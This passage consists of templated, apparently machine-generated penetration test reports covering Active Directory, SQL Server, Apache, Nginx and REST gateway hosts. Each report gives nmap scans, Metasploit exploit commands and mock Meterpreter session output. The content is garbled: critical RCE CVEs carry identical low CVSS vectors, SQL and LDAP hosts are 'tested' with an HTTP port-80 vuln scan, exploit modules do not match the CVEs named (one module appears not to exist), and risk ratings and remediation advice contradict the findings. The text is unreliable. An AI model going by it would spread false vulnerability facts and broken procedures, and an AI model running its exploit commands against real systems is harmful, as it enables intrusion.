CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.48.212.55 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-22986 (F5 iControl REST - Auth Bypass and RCE) CVE: CVE-2021-22986 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.48.212.55 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2022-29263 (Kong Gateway - Incorrect Authorization) CVE: CVE-2022-29263 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.9) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.48.212.55 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 10.48.212.55; set RPORT 4444; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-22986 (CVE-2021-22986) - CVE-2022-41040 (CVE-2022-41040) - CVE-2022-29263 (CVE-2022-29263) [*] Started reverse TCP handler on port 4444 [*] Sending payload... [*] Sending stage (347 bytes) [*] Meterpreter session 9 opened [*] Session established [*] Gained user access [*] Connected to 10.48.212.55 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 2 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0026 Date: 2025-05-11 19:07:19 Tester: jdoe Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute penetration testing on the Active Directory server (192.168.5.104) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p389,636,88,464 192.168.5.104 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.5.104 Host is up (0.22s latency). MAC Address: 94:AC:EB:EA:40:5D (Microsoft) 389/tcp open ldap OpenLDAP 2.4.50 636/tcp open ldap OpenLDAP 2.4.50 88/tcp open ldap OpenLDAP 2.4.50 464/tcp open ldap OpenLDAP 2.4.50 OS details: Windows Server 2019 Domain Controller OS CPE: cpe:/o:microsoft:windows_server_2019:- Network Distance: 3 hops Service Info: Hostname: active-directory-server-01 Nmap done: 1 IP address (1 host up) scanned in 6 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2022-26923 (Certificate Services Privilege Escalation) CVE: CVE-2022-26923 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.5.104 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-42287 (Kerberos PAC Validation Bypass) CVE: CVE-2021-42287 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.5.104 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2020-1472 (Zerologon - Netlogon Elevation of Privilege) CVE: CVE-2020-1472 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.5) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.5.104 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 192.168.5.104; set RPORT 4444; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-42287 (CVE-2021-42287) - CVE-2020-1472 (CVE-2020-1472) - CVE-2022-26923 (CVE-2022-26923) [*] Started reverse TCP handler on port 4444 [*] Sending payload... [*] Sending stage (513 bytes) [*] Meterpreter session 7 opened [*] Session established [*] Gained user access [*] Connected to 192.168.5.104 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Critical Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 4 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. 2. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Enforce MFA, strong password policies, secure session management, and rate limiting. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0027 Date: 2025-05-11 19:07:19 Tester: rjohnson Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct red team assessment of the Microsoft SQL database server (10.133.14.197) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p1433,1434 10.133.14.197 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.133.14.197 Host is up (0.27s latency). MAC Address: 88:98:74:4D:80:6A (Apple) 1433/tcp open ms-sql-s Microsoft SQL Server 2019 1434/tcp open ms-sql-s Microsoft SQL Server 2017 OS details: Windows Server 2019 OS CPE: cpe:/o:microsoft:windows_server_2019:- Network Distance: 1 hops Service Info: Hostname: db-prod-01 Nmap done: 1 IP address (1 host up) scanned in 18 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2019-1068 (Elevation of Privilege - SQL Server) CVE: CVE-2019-1068 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.5) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.133.14.197 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2020-0618 (RCE via SQL Reporting Services) CVE: CVE-2020-0618 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.7) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.133.14.197 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-1636 (RCE via TDS Protocol) CVE: CVE-2021-1636 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.133.14.197 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/windows/sql/mssql_payload; set RHOSTS 10.133.14.197; set RPORT 1433; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-1636 (CVE-2021-1636) - CVE-2019-1068 (CVE-2019-1068) - CVE-2020-0618 (CVE-2020-0618) [*] Started reverse TCP handler on port 1433 [*] Sending payload... [*] Sending stage (699 bytes) [*] Meterpreter session 4 opened [*] Session established [*] Gained system access [*] Connected to 10.133.14.197 [*] Post-exploitation modules available: - mssql_enum - mssql_sql - mssql_exec === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 4 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. Enforce MFA, strong password policies, secure session management, and rate limiting. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 3. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0028 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: CyberShield Inc Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform authorized security testing of the REST API gateway (192.168.181.162) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p443,8443,8080 192.168.181.162 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.181.162 Host is up (0.38s latency). MAC Address: EA:0F:C5:4C:3F:B1 (Dell) 443/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) 8443/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) 8080/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 3 hops Service Info: Hostname: rest-api-gateway-01 Nmap done: 1 IP address (1 host up) scanned in 14 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2022-41040 (ProxyNotShell - Exchange as a REST endpoint proxy misuse) CVE: CVE-2022-41040 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.9) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.181.162 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-22986 (F5 iControl REST - Auth Bypass and RCE) CVE: CVE-2021-22986 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.181.162 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2022-29263 (Kong Gateway - Incorrect Authorization) CVE: CVE-2022-29263 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.181.162 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 192.168.181.162; set RPORT 4444; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-22986 (CVE-2021-22986) - CVE-2022-41040 (CVE-2022-41040) - CVE-2022-29263 (CVE-2022-29263) [*] Started reverse TCP handler on port 4444 [*] Sending payload... [*] Sending stage (293 bytes) [*] Meterpreter session 1 opened [*] Session established [*] Gained user access [*] Connected to 192.168.181.162 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: High Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 4 critical vulnerabilities identified - 5 high risk issues found - System configuration needs hardening Recommendations: 1. Implement parameterized queries, input validation, and use ORM frameworks with built-in protection. Consider using prepared statements with bind variables in all database interactions. For Java applications, use JPA/Hibernate criteria API instead of string concatenation. 2. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0029 Date: 2025-05-11 19:07:19 Tester: mchen Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct a comprehensive security assessment of the Apache web server (10.29.192.93) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80,443,8080,8443 10.29.192.93 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.29.192.93 Host is up (0.56s latency). MAC Address: EA:E0:C8:1F:DA:90 (Intel) 80/tcp open http nginx/1.18.0 443/tcp open http Apache/2.4.41 8080/tcp open http Apache/2.4.41 8443/tcp open http Apache/2.4.41 OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 2 hops Service Info: Host: www.example.com Nmap done: 1 IP address (1 host up) scanned in 7 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-42013 (RCE - Apache 2.4.50) CVE: CVE-2021-42013 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.29.192.93 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-41773 (Path Traversal - Apache 2.4.49) CVE: CVE-2021-41773 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.29.192.93 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOSTS 10.29.192.93; set RPORT 80; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-42013 (CVE-2021-42013) - CVE-2021-41773 (CVE-2021-41773) [*] Started reverse TCP handler on port 80 [*] Sending payload... [*] Sending stage (414 bytes) [*] Meterpreter session 4 opened [*] Session established [*] Gained root access [*] Connected to 10.29.192.93 [*] Post-exploitation modules available: - shell - upload - download - screenshot === Final Assessment === Overall Risk Rating: Critical Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 3 critical vulnerabilities identified - 2 high risk issues found - System configuration needs hardening Recommendations: 1. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. 3. Implement parameterized queries, input validation, and use ORM frameworks with built-in protection. Consider using prepared statements with bind variables in all database interactions. For Java applications, use JPA/Hibernate criteria API instead of string concatenation. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0030 Date: 2025-05-11 19:07:19 Tester: mchen Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: assess the security posture of the Microsoft SQL database server (10.128.40.128) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p1433,1434 10.128.40.128 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.128.40.128 Host is up (0.32s latency). MAC Address: 10:4E:07:90:AA:BA (Cisco) 1433/tcp open ms-sql-s Microsoft SQL Server 2017 1434/tcp open ms-sql-s Microsoft SQL Server 2017 OS details: Windows Server 2019 OS CPE: cpe:/o:microsoft:windows_server_2019:- Network Distance: 3 hops Service Info: Hostname: db-prod-01 Nmap done: 1 IP address (1 host up) scanned in 11 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-1636 (RCE via TDS Protocol) CVE: CVE-2021-1636 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.128.40.128 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2019-1068 (Elevation of Privilege - SQL Server) CVE: CVE-2019-1068 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.7) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.128.40.128 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2020-0618 (RCE via SQL Reporting Services) CVE: CVE-2020-0618 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.128.40.128 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/windows/sql/mssql_payload; set RHOSTS 10.128.40.128; set RPORT 1433; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-1636 (CVE-2021-1636) - CVE-2019-1068 (CVE-2019-1068) - CVE-2020-0618 (CVE-2020-0618) [*] Started reverse TCP handler on port 1433 [*] Sending payload... [*] Sending stage (371 bytes) [*] Meterpreter session 1 opened [*] Session established [*] Gained system access [*] Connected to 10.128.40.128 [*] Post-exploitation modules available: - mssql_enum - mssql_sql - mssql_exec === Final Assessment === Overall Risk Rating: Medium Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 4 critical vulnerabilities identified - 4 high risk issues found - System configuration needs hardening Recommendations: 1. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Validate and sanitize file paths, disable dangerous PHP functions, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0031 Date: 2025-05-11 19:07:19 Tester: jdoe Organization: CyberShield Inc Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute ethical hacking engagement against the Nginx web server (10.199.79.110) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80,443 10.199.79.110 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.199.79.110 Host is up (0.33s latency). MAC Address: 5E:E9:20:00:B5:75 (Apple) 80/tcp open http Apache/2.4.41 443/tcp open http Apache/2.4.41 OS details: Linux 5.4.0-42-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Network Distance: 3 hops Service Info: Host: intranet.local Nmap done: 1 IP address (1 host up) scanned in 24 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-23017 (1-byte Memory Overwrite in DNS Resolver) CVE: CVE-2021-23017 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.7) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.199.79.110 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2023-44487 (HTTP/2 Rapid Reset - DoS) CVE: CVE-2023-44487 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.199.79.110 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 10.199.79.110; set RPORT 80; exploit" Output: [*] Started reverse TCP handler on port 80 [*] Attempting to exploit using linux/http/nginx_backdoor... [-] Exploit failed: Target architecture mismatch [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2021-23017 (CVE-2021-23017) - CVE-2023-44487 (CVE-2023-44487) - Payload architecture incompatible with target system [*] Recommended next steps: - Research alternative exploits for the same service or pivot to other attack vectors - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: Low Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 4 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 3. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0032 Date: 2025-05-11 19:07:19 Tester: mchen Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform vulnerability scanning against the Active Directory server (10.255.119.37) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p389,636,88,464 10.255.119.37 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.255.119.37 Host is up (0.46s latency). MAC Address: 14:CA:DC:45:DD:CF (Dell) 389/tcp open ldap OpenLDAP 2.4.50 636/tcp open ldap OpenLDAP 2.4.49 88/tcp open ldap OpenLDAP 2.4.50 464/tcp open ldap OpenLDAP 2.4.49 OS details: Windows Server 2019 Domain Controller OS CPE: cpe:/o:microsoft:windows_server_2019:- Network Distance: 1 hops Service Info: Hostname: active-directory-server-01 Nmap done: 1 IP address (1 host up) scanned in 16 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-42287 (Kerberos PAC Validation Bypass) CVE: CVE-2021-42287 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.255.119.37 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2020-1472 (Zerologon - Netlogon Elevation of Privilege) CVE: CVE-2020-1472 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.255.119.37 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2022-26923 (Certificate Services Privilege Escalation) CVE: CVE-2022-26923 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.255.119.37 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 10.255.119.37; set RPORT 4444; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-42287 (CVE-2021-42287) - CVE-2020-1472 (CVE-2020-1472) - CVE-2022-26923 (CVE-2022-26923) [*] Started reverse TCP handler on port 4444 [*] Sending payload... [*] Sending stage (595 bytes) [*] Meterpreter session 1 opened [*] Session established [*] Gained user access [*] Connected to 10.255.119.37 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Low Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 4 critical vulnerabilities identified - 5 high risk issues found - System configuration needs hardening Recommendations: 1. Enforce MFA, strong password policies, secure session management, and rate limiting. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0033 Date: 2025-05-11 19:07:19 Tester: mchen Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute ethical hacking engagement against the REST API gateway (10.116.119.240) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p443,8443,8080 10.116.119.240 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.116.119.240 Host is up (0.45s latency). MAC Address: D4:1A:75:D6:A6:A0 